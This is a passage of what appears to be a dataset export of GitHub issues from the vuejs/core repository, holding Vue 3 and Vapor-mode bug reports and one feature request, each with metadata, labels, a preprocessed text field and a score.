https://stackblitz.com/edit/vitejs-vite-guxybnha?file=index.html,package.json&terminal=dev

### Steps to reproduce

1. Install dependencies:
```bash
npm i
```

2. Start the development server:
```bash
npm run dev
```

3. Open your browser and navigate to `http://localhost:3000`

4. Hover over any element with a tooltip in the table

5. Observe that the tooltip appears at the wrong position (usually at the last element)

### What is expected?

Tooltip appears at the right position

### What is actually happening?

Tooltip appears at the wrong position

### System Info

```shell

```

### Any additional comments?

_No response_",,2025-07-21 12:35:33+00:00,2025-07-21 12:48:50+00:00,1,nan,0.0092,arco design tooltip position bug that occurs when upgrading from vue to vue vue version link to install dependencies start the development server open your browser and navigate to hover over any element with a tooltip in the table observe that the tooltip appears at the wrong position usually at the last element what is expected tooltip appears at the right position what is actually happening tooltip appears at the wrong position system info any additional comments no response,bug,-0.886
vuejs/core,3247791630,"When a composite prop is passed in, the watcher will be triggered incorrectly","### Vue version

^3.5.17

### Link to minimal reproduction

https://play.vuejs.org/#eNp9VFGP0zAM/ismL+3EaIXgaXQD7nQSIAGnA4mXvpTW63qXJlWSbkNV/zuOs+66E1yfEvuz/fmL3UF87Lpk36NYicyWpukcWHR9t8lV03baOBjA4BZG2BrdQkTQ6Oy61m13siepv/hM0btZqFZfda8cVhcJ5gi7K6TUh7snNQiSq1Ir66C1Naw9iTj6hISFX9rI6kW08JA0hYDSxDyghpE8c+NjieDjqDOzOF7AegMDW31Esi9kjxQ3jGzzIVkaxCFZ6OKw7WThkG4A2e715tagtfC7d04r0AYa1fUkpG4RHB5dkqUEYvAJ86GUTfmwzkUo7lt8uYZoedFgLjbDwL5xzNIQecpiIA2nUGn/qtUVSspH6Fywk938QitqqtGKvNQk0OeJXRUWv3duBVG0DFaFh2uttk298ip423hKlaWzjsVSOEvyEjC5t1rR5HDaXJRUrJFoKC2Vs7lYeVV96lzwC3xhmzM9nkpSzA7Lh3/Y7+3R23LhpUWzx1ycfa4wNbrgvvnxjQSeOUmIXhL6GecdWi17zzHArnpVEe0Zjtl+5hFtVP3T3hwdKjs15YmyPIzPBc2r1/l/rT/SfZO8DbKqkVScFubp6oEsVE2P5SjNfA0PhSt305Jw1VzwmkzT3hndWZrbCreNwlt/y5hFeP8VFOoPBYybeMFxnDD2gDCFHJ8EMLcW0yYsQctq2hDfkK+lJSZS13HEKd5PX7SEcwRV8OiCRHFx5ExT12joP+B2GDpB4zeY1Qh0ntuxqtnzwZdvOzalwXY5m+Nfo/CZOQ==

### Steps to reproduce

A component passes in an object, part of which is a reactive value (defined by `shallowRef` or `ref` ), watch the props in the component, and every time the page element is updated, the watcher in the component is triggered

```js
const opt = ref({})
```
```html
  <Comp :option=""{
    someBaseOpt: '',
    newConfig: opt
  }"" />
```
```js
watch(
  () => props.option,
  (val, old) => {
    console.log('watch?????????', val, old);
    alert('triggered the watcher')
  }
);
```

I think this may be a bug

### What is expected?

Only triggered when props actually change

### What is actually happe... [TRUNCATED]",,2025-07-21 09:04:48+00:00,2025-07-21 13:19:04+00:00,3,nan,0.1766,when a composite prop is passed in the watcher will be triggered incorrectly vue version link to a component passes in an object part of which is a reactive value defined by or watch the props in the component and every time the page element is updated the watcher in the component is triggered i think this may be a bug what is expected only triggered when props actually change what is actually happe truncated,others,-0.1531
vuejs/core,3246716047,[Vapor] fallback slot content not rendered if content is comment,"### Vue version

3.6.0-alpha.2

### Link to minimal reproduction

https://play.vuejs.org/#eNq1U01P4zAQ/SuzvnAh6WpZ7aHKVtpFIMEBEHC0hNxk2po6tmU7oRLqf2dsN2n5EJw4xZ558/xm5uWZ/bO27DtkU1b9KAo4F0rNRb0G6cGhbtBhA1KDNrrohTUOWtMgzLsAtWlb1CEiO08o4SmkQwppOAAXxYxrrhN/5WsnbQCPobOznHoVy4UUlS19A5yupGpg4UwLR+Uk3aLeIyqb5LpMHrC1SgSkG0DVyD4d6DifLYaenoxb+9fiplBN5gM0sc+q/EommmSm96TawMj7JSN1vpsWNfwN/EPz0Bdy8Zez4Drk7N2744w+knCQ5pods+Bpmwu5LB+90WSP5wjmjPisVOiubZBGe86mkDIxR3rN02WKRQXHQ7xeYb3+IP7oNzHG2Y1Dj64nzWMuCLfEkNNnd1e4ofOYpDl0itCfJG/RG9VFjRn2v9MNyT7AJbUXyWVSL+/92Ya864em0ggJuU14zshzp5+0vpd7Uv5OdVxvaYqjYYcfbG/Unfn3u9sZn1birdDDir0yYbQweT5e8952qLeLe+jRxTboxZPyT/mzEMquRPmLbV8Af4xIXg==

### Steps to reproduce

Observe that in initial state (vapor mode active), the comment is considered as the content of the slot.

If `vapor` is removed from the components, the comment is not considered and the fallback content is rendered.

### What is expected?

A slot content containing only comments should trigger the fallback content to render.

### What is actually happening?

The comment is considered as the slot content in vapor mode, resulting in the fallback not being rendered.

### System Info

```shell

```

### Any additional comments?

_No response_",scope: vapor,2025-07-20 21:38:47+00:00,2025-10-22 09:20:23+00:00,1,scope: vapor,93.4872,vapor fallback slot content not rendered if content is comment vue version alpha link to observe that in initial state vapor mode active the comment is considered as the content of the slot if is removed from the components the comment is not considered and the fallback content is rendered what is expected a slot content containing only comments should trigger the fallback content to render what is actually happening the comment is considered as the slot content in vapor mode resulting in the fallback not being rendered system info any additional comments no response,others,0.128
vuejs/core,3246508833,[Vapor] useCssVars (style v-bind) doesn't work with vapor,"### Vue version

3.6.0-alpha.2

### Link to minimal reproduction

https://play.vuejs.org/#eNqVU2tr2zAU/SsXbyMuJG7ajn3w0sAe/bCxF10HGxhWxbpO1cqSkGQ3I/i/70q2k8DWQm2wru85ks59bZM3xmRtg0meLFxphfHg0DcGJFPr8yLxrkigZUbbZaEKL2qyPGxBq8+6UR75lMwfqh5/LFZTaBxeYW0k83iJFXRQWV3DhK6ZvKZT6JxSK+dBYuXhPOxJJ3OzmRwFdMC8Nv9ABFaNKr3QCmrdYootKp8DSXF4EeyjHFotOGwDt/ARz4yN63usWCN92t9S+HB71jLZIF10/XwLPbuUgpaf0JnN9cAkLQ8Sf+2JXS9xl5o0PYLz5aiF67Kpwz7GedT6STiPCm06MVoQ33J9rybTGFmvsRujPkjxA4daDNuecu7iuK93qKta+KFescoLLtrl4jh8A+8QUwvn/0gEV2qDPLKJNspZsfJubUkon5VaapvDs7MyvEMiV9pytDPLuGhcDifz+YsBuRfc3+RwSrUePMwZLD1xqdxEHUthmXKVtnUO0Qy60tkJbZtCXMbq9okrvNFOhIbJga2clo3HfVGpWWYroXhK9mFX7PzhZ0hZTFgIfZlMaSqoSSuxzm6dVjQ6FD5AkZS6NkKi/WrCjTQ5eUgM0FMkTEp9/zH6vG1wOvrLGyzv/uO/dZvgK5JvFh3aFotkh3lm1+h7+OL7F9yQvQNrzRtJ7EfAS4yZII097S0VjGQf8KLaD3HYhVpfuYsNtZQbgwpCA7OL/CKhwX73SOh7uWfZy7ivUB1l8XeLNpxJCTzLXmXzGZPmhmWnSfcXxlKa8g==

### Steps to reproduce

1. click/touch anywhere in preview to move the small dot to your cursor
2. add `vapor` to the component's script
3. click/touch again anywhere in the preview

### What is expected?

the dot should move to the cursor position to the click/touch location in vapor mode just like in normal mode.

### What is actually happening?

1. the dot doesn't move
2. the following warning is printed to the console when the component is mounted :
```
[Vue warn]: useCssVars is called without current active component instance. 
```

### System Info

```shell

```

### Any additional comments?

The issue ... [TRUNCATED]",scope: vapor,2025-07-20 16:52:41+00:00,2026-03-12 13:11:48+00:00,2,scope: vapor,234.8466,vapor usecssvars style v bind doesn t work with vapor vue version alpha link to click touch anywhere in preview to move the small dot to your cursor add to the component s script click touch again anywhere in the preview what is expected the dot should move to the cursor position to the click touch location in vapor mode just like in normal mode what is actually happening the dot doesn t move the following warning is printed to the console when the component is mounted system info any additional comments the issue truncated,others,0.0258
vuejs/core,3246479977,[Vapor] useTemplateRef prints a warn when updated,"### Vue version

3.6.0-alpha.2

### Link to minimal reproduction

https://play.vuejs.org/#eNp9Uk1v1DAQ/SvTXLIrbbOUIg5LsghQJeAAqFTiEgm5ySRxcWzLH+miKP+9Y2fTdqWql8Se9+b5vbHH5JPW2eAx2SW5rQzXDiw6r2FgWpl9KXlPfwcjeIs32GvBHF5jswETPpXqtXdYwwSNUT2kJJV+KGUpKyWtg962UATqKv2KQij4o4yoz9L1QnDcCSTKqfoqjfV0TVIzz3bq/qjkjMcALFDHLLUQuJhZrdZQ7GfpbGDCI5wVBUgvROjLt3NQCkcbdzyVdgC5YLcooFGmKJOqw+rfrTqUyd6ptiWbUTHfRtLM55JOBPdf40kDDOe9qlFQMRinAq9PCNu5vbsIiQiJyrGPh+3ctB/HOMBpyrfdRbQLIW3ogR2M4zH5R0jDTFKqpQ0TFtNpCjGfRUs2ibM0roa32Z1Vkq57DGrkiYbGBZqf2nEaZ5mQcEACxujG7r/HWjhgs9Rjjhfqd5ai7Wjxy6BFM1CiR8wx06Kb4avfP/BA60eQhuVD/lfAa7RK+OBxpn32sibbz3jR7bf4XLlsb+zVwaG0S6hgNDCnyC8TeqhfXon+ZPcyexf7SjnRFP8OaIImDfAye5+9OWdCdyx7m0wPeYAZ7Q==

### Steps to reproduce

1. open and clear the browser console
2. toggle the checkbox
3. check the console for warnings

### What is expected?

no warning should be printed to the console

### What is actually happening?

Using `useTemplateRef` in a vapor component will trigger a warning each time the ref's value is updated (when the refed element is unmounted via v-if for example).

sample warning : 
```
[Vue warn] Set operation on key ""value"" failed: target is readonly. 
Object { subs: {…}, subsTail: {…}, flags: 17, __v_isRef: true, __v_isShallow: true, _rawValue: h1, _oldValue: null, _value: h1, _wrap: undefined }
```

### System Info

```shell

```

### Any additional comments?

_No response_",":hammer: p3-minor-bug,scope: vapor",2025-07-20 16:08:41+00:00,2025-11-18 06:04:17+00:00,3,":hammer: p3-minor-bug,scope: vapor",120.5803,vapor usetemplateref prints a warn when updated vue version alpha link to open and clear the browser console toggle the checkbox check the console for warnings what is expected no warning should be printed to the console what is actually happening using in a vapor component will trigger a warning each time the ref s value is updated when the refed element is unmounted via v if for example sample warning system info any additional comments no response,bug,-0.802
vuejs/core,3246475989,[BUG - Build] - Main Built JS added to commented HEAD (first occurrence),"### Vue version

3

### Link to minimal reproduction

NoNeedLink.explanantion

### Steps to reproduce

1. Create a index.html entry file with a first HEAD section.
2. Run ""vite build""
3. The main.js file is added in the commented HEAD creating a blank site when it is deployed or previewed.
4. WORKAROUND: Delete First Commented HEAD or place it after

### What is expected?

1. Create a index.html entry file with a first HEAD section.
2. Run ""vite build""
3. The main.js file is added in the commented HEAD creating a blank site when it is deployed or previewed.
4. WORKAROUND: Delete First Commented HEAD or place it after

### What is actually happening?

The first commented HEAD section is taken as the real HEAD section.

### System Info

```shell
No need.
```

### Any additional comments?

Thanks to the devs for the project! First contact with it but really nice to have!",,2025-07-20 16:02:32+00:00,2025-07-21 02:51:12+00:00,2,nan,0.4505,bug build main built js added to commented head first occurrence vue version link to noneedlink explanantion create a index html entry file with a first head section run vite build the main js file is added in the commented head creating a blank site when it is deployed or previewed workaround delete first commented head or place it after what is expected create a index html entry file with a first head section run vite build the main js file is added in the commented head creating a blank site when it is deployed or previewed workaround delete first commented head or place it after what is actually happening the first commented head section is taken as the real head section system info any additional comments thanks to the devs for the project first contact with it but really nice to have,bug,0.8121
vuejs/core,3245244047,Detached elements are generated under certain circumstances,"### Vue version

3.5.17

### Link to minimal reproduction

https://play.vuejs.org/#__PROD__eNp9Ustu4zAM/BWtLk2Aro1m95R1gn2gh93Dtmh71MV16FStLBl6uAEM/3tJyXFc9HGyzBmSwyF7/qttsy4AX/PCQ9Oq0sNWaMaK++C90exnpWT1tBG8k07eK2Ab9mV8Cr4dX+u+Z0d8GIo85WKdWOmPadoL1n2V9akM5hKG6E5243Okrlh+ChB6UeRz0mpMnIJFHjvgu8hnM+Cvq6xsPXPgQ8tUqfcowLvYWzatsZ71zELNBlZb0zBUF1DZjwlNyiN2lqUuZNbZK8LqFWE1EoSujHZ+smVDjRbeBlhifaFR051swAS/WCzZZst6GmVkZ12pAuXUpXIg9LCk2dI0qJ2f4xRYvpb77NEZjcuL2YJXqEAqsFetl9he8HWqS1iplHn+F2Mk4/wYrx6genon/ugOFBP82oID26EzE+ZLuwef4Mvb/3DA9wQ2Zhdow5+AN+CMCqQx0X4HvUPZM15U+ze6LPX+zl0ePGh3HIqEEnOI/Lg3Mv+j0U9yv2XfYx56ii5OG317/g90T/HOnDJ+i+7TJ51bxGa3NlaKq3+nUjroOX94AStBIck=

### Steps to reproduce

1. Open DevTools and navigate to the ""Memory"" tab.
2. Check for detached element h1.

### What is expected?

Detached h1 shouldn't show up in the memory profile.

### What is actually happening?

Detached h1 shows up in the memory profile.

### System Info

```shell
Win11 Chrome 138.0.7204.158
```

### Any additional comments?

Strangely, if I remove some content in the slot, the problem disappears ([Playground](https://play.vuejs.org/#__PROD__eNp9Uslu2zAQ/RWWl9hAKiFuT65sdEEO7aEJkhx5UeSRw4QiBS6KAUH/nhlSlhxkOWnE9+bNm6Xnv9o26wLwNS88NK0qPWyFZqy4D94bzX5WSlZPG8E76eS9ArZhX8ZQ8O0YrfueHfFhKPKUizpR6Y9p2gvWfZX1LIO5hCG6k90YjtQVy+cHQi+KfCbNcZFHYYyL/MQ6/rrKytYzBz60TJV6j3W9iyVl0xrrWc8s1GxgtTUNQ1MBDf2Y0GQ4YmdZqkIzOntFWL0irEaC0JXRzk/T2FChhbcBlqgvNHq6kw2Y4BeLJdtsWU+tjOysK1WgnLpUDoQeltRb6ga983PsAuVruc8endG4s5gteIUOpAJ71Xq... [TRUNCATED]","scope: compiler,:exclamation: p4-important",2025-07-19 11:38:29+00:00,2025-07-23 00:36:16+00:00,0,"scope: compiler,:exclamation: p4-important",3.5401,detached elements are generated under certain circumstances vue version link to open devtools and navigate to the memory tab check for detached element h what is expected detached h shouldn t show up in the memory profile what is actually happening detached h shows up in the memory profile system info any additional comments strangely if i remove some content in the slot the problem disappears playground truncated,others,-0.802
vuejs/core,3242365718,Effect cannot track ref in scope,"### Vue version

3.6 alpha 1

### Link to minimal reproduction

https://play.vuejs.org/#eNq1Uk1v1DAQ/SuDL0mlNKEq4lCyKwFaCTgAokhcLKEoO8mmOLZlO9mVovx3xrZ2SennpYdE9sx7nufnN7H3WufjgOyKlbY2nXZg0Q16zWXXa2UcTLBpGqzdda00wgyNUT0kREneLTD7ytW7CHwQY7C51eOSy1pJ66C3Lax8P00+oRAKfikjtq+SMw/hcnF4mp7Bag0TlwCRa4OuFUjcL5WmgQtQFAGnBOZCtWlCo/KxEjQ+82PjmrAQD8rNIJcz4pQTe6HkDn+mv//KIhpJFtLGYa9F5ZB2AOXuYj1N4brzXBa0C9VO6sHBeN6rLYoVZ9TnDApqlsWCzzLmSKRsuja/sUrSmwWNnNWq151A8027juRydnVUz1lFfu6/hJozA2bHer3D+s899Rt78DXOvhu0aEbk7NRzlWnRxfbm+iseaH1qkvpBEPqR5g8kKwevMcI+DHJLshe4oPZzSEwn2592c3Ao7fFSXmiwOuA5oxR9fOTq/+Re5m8Cj16IXPScp0IfXvo5cc/u5JqAzwp2OCQlSAYxcf8H9VbEXi5Z5MjvEY13mRy5zN/mr88roXdVfsHmv9GFYVs=

### Steps to reproduce

1. Enter text and check console.log
2. Switch between 3.5 and 3.6 versions


### What is expected?

Effect track ref in scope

```typescript
watchEffect(() => {
  const scope = new EffectScope()
  scope.run(() => {
    console.log('watchEffect', msg.value)
  })
})
```

### What is actually happening?

Effect cannot track ref in scope

### System Info

```shell

```

### Any additional comments?

_No response_","scope: reactivity,:exclamation: p4-important,regression",2025-07-18 08:23:20+00:00,2025-07-18 09:18:50+00:00,1,"scope: reactivity,:exclamation: p4-important,regression",0.0385,effect cannot track ref in scope vue version alpha link to enter text and check console log switch between and versions what is expected effect track ref in scope what is actually happening effect cannot track ref in scope system info any additional comments no response,bug,-0.296
vuejs/core,3236286606,Replace lodash with es-toolkit/compat for smaller bundle size and better tree-shaking,"### What problem does this feature solve?
Currently, Vue core uses lodash in some internal utilities. While lodash is a powerful and widely used library, it has a relatively large footprint and does not tree-shake well, especially when full imports or deep utilities are used.

In modern JavaScript projects, bundle size is a major performance concern, particularly for frontend libraries. In one of my recent projects, lodash was contributing around 145kb to the final bundle after minification.

es-toolkit is a lightweight, modular alternative that offers tree-shakable utility functions with a similar API to lodash. Migrating to es-toolkit/compat can reduce bundle size and modernize the dependency stack with no changes to developer-facing APIs.

This change could help Vue align better with modern ecosystem practices and further optimize its performance for end users.

### What does the proposed API look like?
The migration would be internal only — swapping out lodash utilities with es-toolkit/compat equivalents. No public API changes are involved.

Here is a simple example:

```ts
// Current
const uniq = require('lodash.uniq')

// Proposed
const { uniq } = require('es-toolkit/compat/uniq')
```
This keeps the usage pattern the same while replacing the underlying dependency.
Tests will be run to ensure behavior consistency. I'd be happy to raise a PR and evaluate the size and performance impact of this migration.

<!-- generated by vue-issues. DO NOT REMOVE -->",can't reproduce,2025-07-16 14:51:40+00:00,2025-07-17 01:44:53+00:00,2,can't reproduce,0.4536,replace lodash with es toolkit compat for smaller bundle size and better tree shaking what problem does this feature solve currently vue core uses lodash in some internal utilities while lodash is a powerful and widely used library it has a relatively large footprint and does not tree shake well especially when full imports or deep utilities are used in modern javascript projects bundle size is a major performance concern particularly for frontend libraries in one of my recent projects lodash was contributing around kb to the final bundle after minification es toolkit is a lightweight modular alternative that offers tree shakable utility functions with a similar api to lodash migrating to es toolkit compat can reduce bundle size and modernize the dependency stack with no changes to developer facing apis this change could help vue align better with modern ecosystem practices and further optimize its performance for end users what does the proposed api look like the migration would be internal only swapping out lodash utilities with es toolkit compat equivalents no public api changes are involved here is a simple example this keeps the usage pattern the same while replacing the underlying dependency tests will be run to ensure behavior consistency i d be happy to raise a pr and evaluate the size and performance impact of this migration,others,0.9433
vuejs/core,3232548106,Value is visable in html when rendering input with type password,"### Vue version

3.4.28

### Link to minimal reproduction

https://play.vuejs.org/#eNp9UU1PwzAM/StRLt2kqkjAAU0TEqAd4AAIOEZCVettGZkTJU5XNPW/42R07ACc/PGe7Wd7L2+cq7oIcibnofHa0bVCvXXWk9iLFpYa4c5yjIBUirUYxNLbrSi4plCoEPrMZWYdTbanFZO9QiE8YAt+MhU5SjFFj2I9KTS6SEU5AkLQp4OZKFwdws76tihHoKtNTAhBIB6cUsM02UFhcuZnR/mylBQai0u9qjbBIu+W+yvZsC5twD850haDkrNxspK1MXb3kHPkI3wP5po1NB+/5DehTzklnz0E8B0oecSo9iugA7x4fYSe/SO4tW00zP4HfIFgTUwaD7TbiC3LPuFltff5TxpXb2HRE2AYl0pC820yX0l+VnrJX6v/yL2oLseb8hXfO/CpJx+Qger8Sg5fQmK21Q==

### Steps to reproduce

in this example you can see a input of type password being rendered and it shows the value in the html


### What is expected?

Value should not be visible in the HTML.


### What is actually happening?

It started happening in Vue 3.4.28:
https://github.com/vuejs/core/blob/main/changelogs/CHANGELOG-3.4.md#3428-2024-06-14

Here's the relevant commit:
https://github.com/vuejs/core/commit/537a571f8cf09dfe0a020e9e8891ecdd351fc3e4

### System Info

```shell

```

### Any additional comments?

I originally posted this as a bug of Quasar:
https://github.com/quasarframework/quasar/issues/18064",,2025-07-15 14:38:28+00:00,2025-07-16 08:13:04+00:00,4,nan,0.7324,value is visable in html when rendering input with type password vue version link to in this example you can see a input of type password being rendered and it shows the value in the html what is expected value should not be visible in the html what is actually happening it started happening in vue here s the relevant commit system info any additional comments i originally posted this as a bug of quasar,others,0.6597
vuejs/core,3229921224,Odd/Incorrect behavior on checkbox v-model when wrapped in an element with an @input event handler,"### Vue version

3.5.17

### Link to minimal reproduction

https://play.vuejs.org/#eNp9UkFP8zAM/StRLnyfBK0QIKRREDBxgAMg4EYQCpu3FdIkStwyVPW/46S0Cwhxs/2enefntPzM2qypgU944WeutMg8YG1PhC4raxyyljlYsI4tnKnYFlG3joQWema0R7aSfrqSegnsOND+LaTy8J8IPTxbweztxazBf+GPTwEs8v4peoQShMoqiRAyLOZlw05LbWs8Fjwdj64GwSOJaEFgCChU8gXUmFIhdm9ygfhhgaYNagRPwUaqOqAIieAflJ3KzEElI8CnjOTxh29TBol5qrHIe/FFTrv2kT2ZfrUw6Zz8mLC2Tc3rurEpUIMj88jZGDRQinz0k29z9HSIRbnMXr3RdONWaMZoDVPZUoG7sVjSoQSnYQEJmFTKvF/FWrB8e6hHOb/UXz25NaHg1oEH19CRRgylWwL28MX9NawpHkHytFbE/gO8A29UHTT2tPNaz0l2wotqL+NPLfXywV+sEbQflop/hphd5AtOv3f6x+obuXvZfuwTuiMXnxtwYSYZuJcdZLuHvPsEI8QeJQ==

### Steps to reproduce

1. Create a form including a checkbox utilizing v-model for the value of the checkbox array.
2. Wrap in a element with an `@input` event handler that changes a ref to true to detect changes having been made and update another element on the component based on this (e.g. display the value, enable save button etc)
3. On load, click the checkbox first.

### What is expected?

When clicking the checkbox first, it should toggle the `hasChanged` value to true, and the checkbox should check adding it's value to the `checkboxes` array.

### What is actually happening?

The first click updates the `hasChanges` to true, but a second click is required to check the checkbox and add it's value to the array.

### System Info

```shell

```

### Any additional comments?

We were using this method to detect changes on a large-ish form to enable the save butto... [TRUNCATED]",,2025-07-14 20:15:59+00:00,2025-07-16 08:26:40+00:00,1,nan,1.5074,odd incorrect behavior on checkbox v model when wrapped in an element with an input event handler vue version link to create a form including a checkbox utilizing v model for the value of the checkbox array wrap in a element with an event handler that changes a ref to true to detect changes having been made and update another element on the component based on this e g display the value enable save button etc on load click the checkbox first what is expected when clicking the checkbox first it should toggle the value to true and the checkbox should check adding it s value to the array what is actually happening the first click updates the to true but a second click is required to check the checkbox and add it s value to the array system info any additional comments we were using this method to detect changes on a large ish form to enable the save butto truncated,others,0.9509
vuejs/core,3229898296,Exposed method not accessible from custom element,"### Vue version

3.5.17

### Link to minimal reproduction

https://play.vuejs.org/#eNqFVG1P2zAQ/iunDKmtKLFKmSaF0L0gPjBtbIJJ+0DQlCbXJjSxI9spnar8953tNE03GPnQ2r57Ht/je9l6H6vKX9foBV6oEplXGhTquppFPC8rITVcirKChRQlDHxmNn6CBjE471y2KS5yjpe10qK8KrBErscg+FdRc43pGLIxaHEbP41B4qJp2QxHxJM+SPmOaTgof58kdNdgDM9wD00YoxEF8Br+JIuT1Qsk24gDfVbucATtFiARXGn6JW2c/ODCBD3kdVG4G51Xp25I2IvZHr4jyITSNyJFwndc/jouanzvH0khtH9kXIhyh8sXMNyhevGYjzG4Qwwg07pSAWPLXGf13CdiRs/4qFgiJLJ5IeasjHPOKpIdL1ExSTHmJZ6k5KlkwuIqP3gFX6s3X86m0/5lCyFh6ESsQCxsBfi4qYT6OyzoVN6vHv4V6h+1sJTMPaEAzX7TLZvR/nUlJUVy2PbS0JyDszZj9y+RpygDcO+f2aIYE4SyFcCgAw4ssaF36QuZq3OqcNpoLKsi1kg7gLCtGkNxEXlmOYm8Wcjac+c0r7UWHD4kRZ6syO2IvJVJRTXxc54MR5EHs+uby5A5T3sR4bLT2U8hV7GkukmDkNG+tfSLtXf3af9ua3wtgNOXAghZT6g39rSi/C7ypf+oBKfet1l1t+YFym+Vzin/kRfs8h15cVGIp8/2TMsa2yQQJsNk9cz5o9qYs8j7LlGhXGPkdTYdyyVqZ766u8ENrTtjKdK6IO//GG9RiaI2MTq3T/SiFHbPz0Z7bcdTzpc/1NVGI1c7USZQWxPWP/Koh0z1vCR9H+7UP7O4iDf0ir1paObnYS2l+douALZboHaAxlZ6yJzhICPt6KWV6ReaqDSv4rqgyWogaazj/YDatcauVYg6gEnbGntRrvECuB9QSQwe7FmJOhOp6pTZYtkz6SxXpnGPj9tedXSk9aBrSPivNUrzmKR66r/1J++85g8QVwtI

### Steps to reproduce

I want to expose component method as custom element method.

### What is expected?


Method `inc` should be accessible from DOM.

### What is actually happening?

Method `inc` is not available.

It seems that you are not able to iterate over reactive object `exposed` inside mount hook.

This loop seems not to work:
https://github.com/vuejs/core/blob/main/packages/runtime-dom/src/apiCustomElement.ts#L... [TRUNCATED]",":hammer: p3-minor-bug,scope: custom elements",2025-07-14 20:08:13+00:00,2025-07-23 00:40:41+00:00,1,":hammer: p3-minor-bug,scope: custom elements",8.1892,exposed method not accessible from custom element vue version link to i want to expose component method as custom element method what is expected method should be accessible from dom what is actually happening method is not available it seems that you are not able to iterate over reactive object inside mount hook this loop seems not to work truncated,bug,-0.1531
vuejs/core,3226014340,[Vapor] Using image from public directory causes error,"### Vue version

3.6.0-alpha.1

### Link to minimal reproduction

https://the-sfc-playground-does-not-support-this-yet.com

### Steps to reproduce

1. Run `pnpm create vite vapor`
2. Create a standard Vue project
3. Change Vue version to `^3.6.0-alpha.1`
4. Change `App.vue` and `HelloWorld.vue` to `<script setup vapor>`
5. Change `main.js` to `createVaporApp(App).mount(""#app"");`

Inside `App.vue`, the Vue logo which is `<img src=""./assets/vue.svg"" class=""logo vue"" alt=""Vue logo"" />` will work fine. However, the Vite logo which is `<img src=""/vite.svg"" class=""logo"" alt=""Vite logo"" />` causes the following error:

```
TypeError: Cannot read properties of undefined (reading 'findIndex')
    at getImportsExpressionExp (/Users/username/Code/Vue3/vapor/node_modules/.pnpm/@vue+compiler-sfc@3.6.0-alpha.1/node_modules/@vue/compiler-sfc/dist/compiler-sfc.cjs.js:2152:43)
```

So it seems that any images from the 'public' directory cause an error.

### What is expected?

For 'dev' and 'build' to work

### What is actually happening?

An error is thrown when using an image src from the public directory

### System Info

```shell
System:
    OS: macOS 13.7.6
    CPU: (8) x64 Intel(R) Core(TM) i7-6700K CPU @ 4.00GHz
    Memory: 243.83 MB / 32.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 22.17.0 - ~/.nvm/versions/node/v22.17.0/bin/node
    npm: 10.9.2 - ~/.nvm/versions/node/v22.17.0/bin/npm
    pnpm: 10.13.1 - ~/Library/pnpm/pnpm
  Browsers:
    Chrome: 138.0.7204.101
    Safari: 18... [TRUNCATED]",":hammer: p3-minor-bug,scope: vapor",2025-07-13 01:58:17+00:00,2025-11-10 06:14:18+00:00,5,":hammer: p3-minor-bug,scope: vapor",120.1778,vapor using image from public directory causes error vue version alpha link to run create a standard vue project change vue version to change and to change to inside the vue logo which is will work fine however the vite logo which is causes the following error so it seems that any images from the public directory cause an error what is expected for dev and build to work what is actually happening an error is thrown when using an image src from the public directory system info shell system os macos cpu x intel r core tm i k cpu ghz memory mb gb shell bin zsh binaries node nvm versions node v bin node npm nvm versions node v bin npm pnpm library pnpm pnpm browsers chrome safari truncated,bug,-0.8442
vuejs/core,3225374789,Vue SFC Playground has nowhere to enable `createVaporApp`,"### Vue version

3.6.0-alpha.1

### Link to minimal reproduction

https://play.vuejs.org/#eNp9Uc1KAzEQfpUxl1Wwu5aKh7ItqBTUg4oKXgKybKfb1GwS8rMWln13JymtPUhPyXw/k28mPbs1Ju8CsikrXW2F8eDQBwNdZbSdcyVaOj30YHEFA6ysbiEjQ8YVV7VWzkPrGphF/jx7QCk1fGorl2fZBVdlsWtKjajw2BpZeaQKoFyP532fzMNQFlQlVCgTPHSjVi9RzjgjnjMoiCyLIz+7ZN7R8yvR5BunFeXvo5+zWrdGSLQvxguKx9kUEhO5itL9PCXM24CXe7xeY/39D75x24hx9mrRoe2QswPnK9ug39GL92fc0v1AUvogSX2CfEOnZYgZd7K7oJYU+0iX0j6m/QvVfLjF1qNy+6Fi0Kgckp4z+pP7E6P/xZ3k18nH1UBb/OrQxp60wEl+k1+NKmnWVT5mwy/qSrFX

### Steps to reproduce

- open a new Vue SFC Playground
- find nowhere to use the `createVaporApp`

### What is expected?

should have somewhere to enable `createVaporApp`

### What is actually happening?

have nowhere to use `createVaporApp`

### System Info

```shell

```

### Any additional comments?

_No response_","scope: playground,scope: vapor",2025-07-12 13:40:17+00:00,2025-07-17 02:03:14+00:00,3,"scope: playground,scope: vapor",4.5159,vue sfc playground has nowhere to enable vue version alpha link to open a new vue sfc playground find nowhere to use the what is expected should have somewhere to enable what is actually happening have nowhere to use system info any additional comments no response,others,-0.296
vuejs/core,3225365424,"vue v3.6.0-alpha.1 can't work with `<img src=""/logo.svg"" />` in vapor mode","### Vue version

3.6.0-alpha.1

### Link to minimal reproduction

https://play.vuejs.org/#eNp9kEFLxDAQhf9KmPOaKlWRpQoqe9CDioqngJTu2M2aJiGT1MLS/26SsnUPsreZ971J3swObq3lfUBYQkWNk9YzQh8s62tr3I3QVTHJsYyNx86q2mPsGKtk1zJyzbWAQpnWcOpbAazIUwdOWICnxugv2fItGR3/2qV5AY3prFTonq2XRpOAJcsksVop8/OYNe8CLvZ6s8Hm+x99S0PSBLw4JHQ9CpiZr12LfsKrtyccYj3DzqyDiu4j8BXJqJAyTra7oNcx9oEvp33o4s281O07rQaPmvZLpaDJOWa/gHjw+yOr/8Ut+XmeE3qMV/zs0aU34wFLfslPT2plNzU/S8jTxwwv+BUvYfwFrzabCw==

### Steps to reproduce

Click `SFC playground` link.

### What is expected?

`vue 3.6.0` can work with `<img src=""/logo.svg"" />` in vapor mode

### What is actually happening?

As the title says.

### System Info

```shell

```

### Any additional comments?

_No response_",,2025-07-12 13:31:46+00:00,2025-07-12 22:21:34+00:00,1,nan,0.3679,vue v alpha can t work with in vapor mode vue version alpha link to click link what is expected can work with in vapor mode what is actually happening as the title says system info any additional comments no response,others,-0.296
vuejs/core,3225176418,perf regression real world use case,"### Vue version

v3.6.0-alpha.1

### Link to minimal reproduction

